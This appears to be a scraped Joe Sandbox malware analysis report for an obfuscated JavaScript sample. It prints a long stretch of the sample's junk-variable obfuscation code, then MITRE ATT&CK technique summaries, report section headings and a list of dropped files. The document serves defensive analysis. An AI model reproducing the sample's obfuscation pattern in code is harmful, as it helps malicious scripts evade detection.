510	hdtnbpec = "z";
511	hdtnbpec = "Z";
512	hdtnbpec = "y";
513	hdtnbpec = "z";
514	hdtnbpec = "S";
515	hdtnbpec = "l";
516	hdtnbpec = "H";
517	hdtnbpec = "O";
518	hdtnbpec = "z";
519	hdtnbpec = "z";
520	hdtnbpec = "G";
521	hdtnbpec = "Y";
522	hdtnbpec = "F";
523	hdtnbpec = "B";
524	hdtnbpec = "F";
525	hdtnbpec = "q";
526	hdtnbpec = "-";
527	bejrljg = "n";
528	bejrljg = "Z";
529	bejrljg = "n";
530	bejrljg = "Q";
531	bejrljg = "K";
532	bejrljg = "s";
533	bejrljg = "v";
534	bejrljg = "f";
535	bejrljg = "B";
536	bejrljg = "P";
537	bejrljg = "U";
538	bejrljg = "S";
539	bejrljg = "O";
540	bejrljg = "O";
541	bejrljg = "G";
542	bejrljg = "9";
543	acury = "v";
544	acury = "U";
545	acury = "n";
546	acury = "\\";
547	rbtmmrp = "B";
548	rbtmmrp = "r";
549	rbtmmrp = "P";
550	rbtmmrp = "M";
551	rbtmmrp = "S";
552	rbtmmrp = "O";
553	rbtmmrp = "U";
554	rbtmmrp = "o";
555	rbtmmrp = "U";
556	rbtmmrp = "S";
557	rbtmmrp = "B";
558	rbtmmrp = "E";
559	rbtmmrp = "R";
560	rbtmmrp = "C";
561	rbtmmrp = "V";
562	rbtmmrp = "e";
563	rbtmmrp = "V";
564	rbtmmrp = "i";
565	rbtmmrp = "i";
566	rbtmmrp = "S";
567	rbtmmrp = "u";
568	rbtmmrp = "p";
569	rbtmmrp = "E";
570	rbtmmrp = "h";
571	eejqvtk = "y";
572	eejqvtk = "j";
573	eejqvtk = "I";
574	eejqvtk = "C";
575	eejqvtk = "D";
576	eejqvtk = "z";
577	eejqvtk = "u";
578	eejqvtk = "F";
579	eejqvtk = "b";
580	eejqvtk = "U";
581	eejqvtk = "J";
582	eejqvtk = "M";
583	eejqvtk = "a";
584	djiazuixs = "G";
585	djiazuixs = "O";
586	souwhmy = "o";
587	souwhmy = "u";
588	souwhmy = "b";
589	souwhmy = "Q";
590	souwhmy = "h";
591	souwhmy = "g";
592	souwhmy = "Z";
593	souwhmy = "m";
594	souwhmy = ".";
595	vtxuwp = "K";
596	vtxuwp = "h";
597	vtxuwp = "4";
598	cbfehb = "u";
599	hotaq = "M";
600	hotaq = "z";
601	hotaq = "E";
602	hotaq = "t";
603	hotaq = "J";
604	hotaq = "r";
605	hotaq = "O";
606	hotaq = "n";
607	hotaq = "F";
608	hotaq = "c";
609	hotaq = "G";
610	hotaq = "a";
611	hotaq = "n";
612	hotaq = "c";
613	fvcyrk = "K";
614	fvcyrk = "J";
615	fvcyrk = "D";
616	fvcyrk = "u";
617	fvcyrk = "o";
618	fvcyrk = "p";
619	fvcyrk = "V";
620	fvcyrk = "f";
621	fvcyrk = "h";
622	fvcyrk = "N";
623	fvcyrk = "u";
624	fvcyrk = "N";
625	fvcyrk = "k";
626	fvcyrk = "J";
627	fvcyrk = "F";
628	fvcyrk = "L";
629	fvcyrk = "y";
630	fvcyrk = "O";
631	fvcyrk = "T";
632	fvcyrk = "i";
633	fvcyrk = "K";
634	fvcyrk = "V";
635	fvcyrk = "Z";
636	fvcyrk = "X";
637	fvcyrk = "R";
638	fvcyrk = "n";
639	fvcyrk = "F";
640	fvcyrk = "u";
641	fvcyrk = "r";
642	fvcyrk = "h";
643	fvcyrk = "V";
644	fvcyrk = "O";
645	fvcyrk = "x";
646	fvcyrk = "p";
647	fvcyrk = "h";
648	fvcyrk = "Y";
649	fvcyrk = "b";
650	fvcyrk = "o";
651	fvcyrk = "g";
652	fvcyrk = "&";
653	njbbosjcd = "O";
654	njbbosjcd = "p";
655	njbbosjcd = "y";
656	njbbosjcd = "X";
657	njbbosjcd = "M";
658	njbbosjcd = "C";
659	njbbosjcd = "l";
660	njbbosjcd = "u";
661	njbbosjcd = "q";
662	njbbosjcd = "h";
663	njbbosjcd = "x";
664	bljont = "x";
665	bljont = "V";
666	bljont = "n";
667	bljont = "c";
668	bljont = "k";
669	bljont = "r";
670	bljont = "t";
671	bljont = "A";
672	bljont = "r";
673	bljont = "u";
674	bljont = "W";
675	bljont = "e";
676	bljont = "e";
677	bljont = "l";
678	bljont = "F";
679	bljont = "v";
680	bljont = "d";
681	bljont = "Q";
682	bljont = "W";
683	bljont = "Y";
684	bljont = "y";
685	bljont = "p";
686	bljont = "M";
687	bljont = "E";
688	bljont = "J";
689	bljont = "N";
690	bljont = "Q";
691	rwgoit = "I";
692	rwgoit = "R";
693	rwgoit = "X";
694	rwgoit = "h";
695	rwgoit = "x";
696	rwgoit = "a";
697	rwgoit = "Y";
698	rwgoit = "s";
699	rwgoit = "I";
700	rwgoit = "i";
701	rwgoit = "L";
702	rwgoit = "L";
703	rwgoit = "j";
704	rwgoit = "X";
705	rwgoit = "b";
706	rwgoit = "N";
707	rwgoit = "g";
708	rwgoit = "g";
709	rwgoit = "x";
710	rwgoit = "X";
711	rwgoit = "C";
712	rwgoit = "v";
713	rwgoit = "k";
714	tkgvpgf = "q";
715	tkgvpgf = "E";
716	tkgvpgf = "P";
717	tkgvpgf = "T";
718	tkgvpgf = "J";
719	tkgvpgf = "w";
720	tkgvpgf = "s";
721	tkgvpgf = "c";
722	tkgvpgf = "d";
723	tkgvpgf = "v";
724	tkgvpgf = "M";
725	tkgvpgf = "i";
726	tkgvpgf = "r";
727	tkgvpgf = "B";
728	tkgvpgf = "g";
729	tkgvpgf = "v";
730	tkgvpgf = "W";
731	tkgvpgf = "z";
732	tkgvpgf = "q";
733	tkgvpgf = "l";
734	tkgvpgf = "q";
735	tkgvpgf = "x";
736	tkgvpgf = "B";
737	tkgvpgf = "I";
738	tkgvpgf = "N";
739	tkgvpgf = "X";
740	tkgvpgf = "S";
741	tkgvpgf = "W";
742	tkgvpgf = "O";
743	tkgvpgf = "P";
744	kmozohtss = "O";
745	kmozohtss = "w";
746	kmozohtss = "t";
747	kmozohtss = "p";
748	kmozohtss = "x";
749	kmozohtss = "V";
750	kmozohtss = "d";
751	kmozohtss = "n";
752	kmozohtss = "v";
753	kmozohtss = "c";
754	kmozohtss = "K";
755	kmozohtss = "r";
756	kmozohtss = "a";
757	kmozohtss = "F";
758	kmozohtss = "L";
759	kmozohtss = "R";
760	kmozohtss = "G";
761	kmozohtss = "t";
762	kmozohtss = "m";
763	kmozohtss = "B";
764	kmozohtss = "s";
765	kmozohtss = "f";
766	kmozohtss = "n";
767	kmozohtss = "k";
768	kmozohtss = "k";
769	kmozohtss = "K";
770	kmozohtss = "X";
771	kmozohtss = "f";
772	kmozohtss = "f";
773	kmozohtss = "G";
774	kmozohtss = "n";
775	kmozohtss = "q";
776	kmozohtss = "K";
777	kmozohtss = "h";
778	kmozohtss = "o";
779	kmozohtss = "1";
780	cphrss = "b";
781	cphrss = "q";
782	cphrss = "r";
783	cphrss = "T";
784	cphrss = "p";
785	cphrss = "Q";
786	cphrss = "o";
787	cphrss = "s";
788	cphrss = "s";
789	cphrss = "Q";
790	cphrss = "f";
791	cphrss = "E";
792	cphrss = "r";
793	cphrss = "P";
794	cphrss = "g";
795	cphrss = "u";
796	cphrss = "t";
797	cphrss = "G";
798	cphrss = "e";
799	cphrss = "b";
800	cphrss = "j";
801	cphrss = "G";
802	cphrss = "d";
803	cphrss = "b";
804	cphrss = "C";
805	cphrss = "h";
806	cphrss = "U";
807	cphrss = "q";
808	cphrss = "G";
809	cphrss = "w";
810	cphrss = "E";
811	cphrss = "e";
812	smgdvu = "X";
813	smgdvu = "l";
814	smgdvu = "G";
815	smgdvu = "P";
816	smgdvu = "n";
817	smgdvu = "a";
818	smgdvu = "V";
819	smgdvu = "k";
820	smgdvu = "e";
821	smgdvu = "f";
822	smgdvu = "G";
823	smgdvu = "N";
824	smgdvu = "a";
825	smgdvu = "I";
826	smgdvu = "B";
827	smgdvu = "G";
828	smgdvu = "n";
829	smgdvu = "E";
830	smgdvu = "a";
831	smgdvu = "z";
832	smgdvu = "K";
833	smgdvu = "N";
834	smgdvu = "n";
835	smgdvu = "u";
836	smgdvu = "x";
837	smgdvu = "H";
838	smgdvu = "m";
839	smgdvu = "g";
840	smgdvu = "H";
841	smgdvu = "h";
842	smgdvu = "q";
843	smgdvu = "S";
844	smgdvu = "8";
845	lpjdpwuco = "P";
846	lpjdpwuco = "A";
847	lpjdpwuco = "b";
848	lpjdpwuco = "j";
849	lpjdpwuco = "r";
850	lpjdpwuco = "H";
851	lpjdpwuco = "P";
852	lpjdpwuco = "I";
853	lpjdpwuco = "N";
854	lpjdpwuco = "Z";
855	lpjdpwuco = "M";
856	lpjdpwuco = "V";
857	lpjdpwuco = "M";
858	lpjdpwuco = "q";
859	lpjdpwuco = "p";
860	lpjdpwuco = "G";
861	lpjdpwuco = "P";
862	lpjdpwuco = "F";
863	lpjdpwuco = "A";
864	lpjdpwuco = "J";
865	lpjdpwuco = "n";
866	lpjdpwuco = "O";
867	lpjdpwuco = "u";
868	lpjdpwuco = "o";
869	lpjdpwuco = "n";
870	rmuiph = "w";
871	rmuiph = "z";
872	rmuiph = "N";
873	rmuiph = "O";
874	rmuiph = "q";
875	rmuiph = "f";
876	rmuiph = "p";
877	rmuiph = "E";
878	rmuiph = "E";
879	rmuiph = "m";
880	rmuiph = "m";
881	rmuiph = "l";
882	rmuiph = "n";
883	rmuiph = "g";
884	rmuiph = "O";
885	rmuiph = "O";
886	rmuiph = "Q";
887	rmuiph = "e";
888	rmuiph = "r";
889	rmuiph = "T";
890	rmuiph = "d";
891	rmuiph = "R";
892	rmuiph = "Z";
893	rmuiph = "E";
894	rmuiph = "C";
895	rmuiph = "f";
896	rmuiph = "O";
897	rmuiph = "W";
898	rmuiph = "d";
899	rmuiph = "Y";
900	rmuiph = "x";
901	rmuiph = "C";
902	rmuiph = "O";
903	rmuiph = "D";
904	rmuiph = "T";
905	rmuiph = "I";
906	rmuiph = "x";
907	rmuiph = "j";
908	guorly = "l";
909	guorly = "q";
910	uevyqvo = "O";
911	uevyqvo = "t";
912	uevyqvo = "c";
913	uevyqvo = "c";
914	uevyqvo = "k";
915	uevyqvo = "F";
916	uevyqvo = "E";
917	uevyqvo = "q";
918	uevyqvo = "t";
919	uevyqvo = "z";
920	uevyqvo = "R";
921	uevyqvo = "o";
922	uevyqvo = "E";
923	uevyqvo = "I";
924	uevyqvo = "T";
925	uevyqvo = "E";
926	uevyqvo = "i";
927	uevyqvo = "e";
928	uevyqvo = "f";
929	uevyqvo = "B";
930	uevyqvo = "q";
931	uevyqvo = "T";
932	uevyqvo = "V";
933	uevyqvo = "D";
934	uevyqvo = "Y";
935	uevyqvo = "M";
936	uevyqvo = "I";
937	uevyqvo = "L";
938	uevyqvo = "o";
939	uevyqvo = "O";
940	uevyqvo = "t";
941	uevyqvo = "V";
942	uevyqvo = "L";
943	uevyqvo = "s";
944	uevyqvo = "E";
945	uevyqvo = "N";
946	uevyqvo = "K";
947	uevyqvo = "o";
948	uevyqvo = "F";
949	uevyqvo = "V";
950	uevyqvo = "X";
951	uevyqvo = "N";
952	jiminp = "z";
953	jiminp = "o";
954	jiminp = "D";
955	jiminp = "I";
956	jiminp = "U";
957	jiminp = "Y";
958	uqqpxxthm = "a";
959	uqqpxxthm = "t";
960	uqqpxxthm = "E";
961	uqqpxxthm = "I";
962	uqqpxxthm = "k";
963	uqqpxxthm = "r";
964	uqqpxxthm = "z";
965	uqqpxxthm = "g";
966	uqqpxxthm = "F";
967	uqqpxxthm = "W";
968	uqqpxxthm = "c";
969	uqqpxxthm = "Q";
970	uqqpxxthm = "q";
971	uqqpxxthm = "x";
972	uqqpxxthm = "w";
973	uqqpxxthm = "U";
974	uqqpxxthm = "J";
975	uqqpxxthm = "W";
976	uqqpxxthm = "q";
977	uqqpxxthm = "f";
978	wocgmitmy = "q";
979	wocgmitmy = "k";
980	wocgmitmy = "N";
981	wocgmitmy = "o";
982	wocgmitmy = "z";
983	wocgmitmy = "o";
984	wocgmitmy = "u";
985	wocgmitmy = "j";
986	wocgmitmy = "s";
987	wocgmitmy = "I";
988	wocgmitmy = "p";
989	wocgmitmy = "x";
990	wocgmitmy = "K";
991	wocgmitmy = "r";
992	wocgmitmy = "N";
993	wocgmitmy = "y";
994	wocgmitmy = "G";
995	wocgmitmy = "J";
996	wocgmitmy = "m";
997	wocgmitmy = "%";
998	mbqfapwr = "a";
999	mbqfapwr = "V";
1000	mbqfapwr = "H";
1001	mbqfapwr = "j";
1002	mbqfapwr = "E";
1003	mbqfapwr = "x";
1004	mbqfapwr = "R";
1005	mbqfapwr = "D";
1006	mbqfapwr = "C";
1007	mbqfapwr = "H";
1008	mbqfapwr = "e";
1009	mbqfapwr = "x";
1010	mbqfapwr = "J";
1011	mbqfapwr = "E";
1012	mbqfapwr = "r";
1013	mbqfapwr = "m";
1014	mbqfapwr = "G";
1015	mbqfapwr = "A";
1016	mbqfapwr = "a";
1017	mbqfapwr = "A";
1018	mbqfapwr = "F";
1019	mbqfapwr = "B";
1020	mbqfapwr = "q";
1021	mbqfapwr = "d";
1022	mbqfapwr = "g";
1023	mbqfapwr = "p";
1024	mbqfapwr = "s";
1025	mbqfapwr = "a";
1026	mbqfapwr = "l";
1027	mbqfapwr = "e";
1028	mbqfapwr = "g";
1029	igkngtzho = "c";
1030	igkngtzho = "O";
1031	igkngtzho = "n";
1032	igkngtzho = "K";
1033	igkngtzho = "l";
1034	igkngtzho = "p";
1035	igkngtzho = "u";
1036	igkngtzho = "K";
1037	igkngtzho = "P";
1038	igkngtzho = "H";
1039	igkngtzho = "z";
1040	igkngtzho = "L";
1041	igkngtzho = "A";
1042	igkngtzho = "x";
1043	igkngtzho = "o";
1044	igkngtzho = "S";
1045	igkngtzho = "U";
1046	igkngtzho = "I";
1047	igkngtzho = "V";
1048	igkngtzho = "t";
1049	igkngtzho = "b";
1050	igkngtzho = "\"";
1051	wnykhjlh = "R";
1052	wnykhjlh = "D";
1053	wnykhjlh = "z";
1054	wnykhjlh = "z";
1055	wnykhjlh = "i";
1056	wnykhjlh = "O";
1057	wnykhjlh = "y";
1058	wnykhjlh = "S";
1059	tyqbvmwb = "z";
1060	tyqbvmwb = "H";
1061	tyqbvmwb = "o";
1062	tyqbvmwb = "P";
1063	tyqbvmwb = "l";
1064	tyqbvmwb = "q";
1065	tyqbvmwb = "i";
1066	yulboxcc = "C";
1067	yulboxcc = "s";
1068	yulboxcc = "T";
1069	yulboxcc = "B";
1070	yulboxcc = "B";
1071	yulboxcc = "C";
1072	yulboxcc = "V";
1073	yulboxcc = "W";
1074	yulboxcc = "j";
1075	yulboxcc = "r";
1076	yulboxcc = "l";
1077	yulboxcc = "p";
1078	yulboxcc = "B";
1079	yulboxcc = "i";
1080	yulboxcc = "u";
1081	yulboxcc = "a";
1082	yulboxcc = "q";
1083	yulboxcc = "p";
1084	yulboxcc = "q";
1085	yulboxcc = "e";
1086	yulboxcc = "T";
1087	yulboxcc = "v";
1088	yulboxcc = "K";
1089	yulboxcc = "v";
1090	yulboxcc = "s";
1091	yulboxcc = "I";
1092	yulboxcc = "Q";
1093	yulboxcc = "s";
1094	yulboxcc = "v";
1095	yulboxcc = "W";
1096	yulboxcc = "G";
1097	yulboxcc = "l";
1098	yulboxcc = "c";
1099	yulboxcc = "t";
1100	yulboxcc = "S";
1101	yulboxcc = "E";
1102	yulboxcc = "t";
1103	yulboxcc = "r";
1104	qadrp = "V";
1105	qadrp = "v";
1106	qadrp = "h";
1107	qadrp = "h";
1108	qadrp = "H";
1109	qadrp = "z";
1110	qadrp = "y";
1111	qadrp = "d";
1112	qadrp = "O";
1113	qadrp = " ";
1114	uuqdlpatc = "w";
1115	uuqdlpatc = "z";
1116	uuqdlpatc = "S";
1117	uuqdlpatc = "b";
1118	uuqdlpatc = "b";
1119	uuqdlpatc = "r";
1120	uuqdlpatc = "j";
1121	uuqdlpatc = "n";
1122	uuqdlpatc = "Z";
1123	uuqdlpatc = "n";
1124	uuqdlpatc = "Z";
1125	uuqdlpatc = "y";
1126	uuqdlpatc = "x";
1127	uuqdlpatc = "s";
1128	uuqdlpatc = "L";
1129	uuqdlpatc = "S";
1130	uuqdlpatc = "D";
1131	uuqdlpatc = "d";
1132	uuqdlpatc = "g";
1133	uuqdlpatc = "Z";
1134	uuqdlpatc = "Q";
1135	uuqdlpatc = "W";
1136	uuqdlpatc = "X";
1137	uuqdlpatc = "C";
1138	uuqdlpatc = "l";
1139	uuqdlpatc = "K";
1140	uuqdlpatc = "w";
1141	uuqdlpatc = "v";
1142	uuqdlpatc = "f";
1143	uuqdlpatc = "G";
1144	uuqdlpatc = "s";
1145	uuqdlpatc = "Y";
1146	uuqdlpatc = "M";
1147	uuqdlpatc = "Z";
1148	uuqdlpatc = "s";
1149	uuqdlpatc = "B";
1150	uuqdlpatc = "u";
1151	uuqdlpatc = "n";
1152	uuqdlpatc = "J";
1153	uuqdlpatc = "D";
1154	uuqdlpatc = "h";
1155	uuqdlpatc = "R";
1156	uuqdlpatc = "w";
1157	vmlfwggj = "y";
1158	vmlfwggj = "v";
1159	vmlfwggj = "S";
1160	vmlfwggj = "m";
1161	vmlfwggj = "A";
1162	vmlfwggj = "Z";
1163	vmlfwggj = "f";
1164	vmlfwggj = "B";
1165	vmlfwggj = "m";
1166	vmlfwggj = "f";
1167	vmlfwggj = "b";
1168	vmlfwggj = "Q";
1169	vmlfwggj = "N";
1170	vmlfwggj = "L";
1171	vmlfwggj = "Y";
1172	vmlfwggj = "Q";
1173	vmlfwggj = "H";
1174	vmlfwggj = "u";
1175	vmlfwggj = "c";
1176	vmlfwggj = "l";
1177	vmlfwggj = "c";
1178	vmlfwggj = "J";
1179	vmlfwggj = "s";
1180	vmlfwggj = "v";
1181	vmlfwggj = "g";
1182	vmlfwggj = "M";
1183	vmlfwggj = "A";
1184	vmlfwggj = "y";
1185	vmlfwggj = "g";
1186	vmlfwggj = "v";
1187	vmlfwggj = "c";
1188	vmlfwggj = "V";
1189	vmlfwggj = "N";
1190	vmlfwggj = "u";
1191	vmlfwggj = "N";
1192	vmlfwggj = "l";
1193	jugpucv = "i";
1194	jugpucv = "L";
1195	jugpucv = "P";
1196	jugpucv = "R";
1197	jugpucv = "m";
1198	jugpucv = "l";
1199	jugpucv = "G";
1200	jugpucv = "X";
1201	jugpucv = "p";
1202	jugpucv = "t";
1203	jugpucv = "u";
1204	jugpucv = "R";
1205	jugpucv = "B";
1206	jugpucv = "P";
1207	jugpucv = "Z";
1208	jugpucv = "S";
1209	jugpucv = "Q";
1210	jugpucv = "K";
1211	jugpucv = "c";
1212	jugpucv = "h";
1213	jugpucv = "e";
1214	jugpucv = "Z";
1215	jugpucv = "O";
1216	jugpucv = "q";
1217	jugpucv = "C";
1218	vhmqcc = "H";
1219	mrravda ( );	mrravda() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 998728891275936098.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

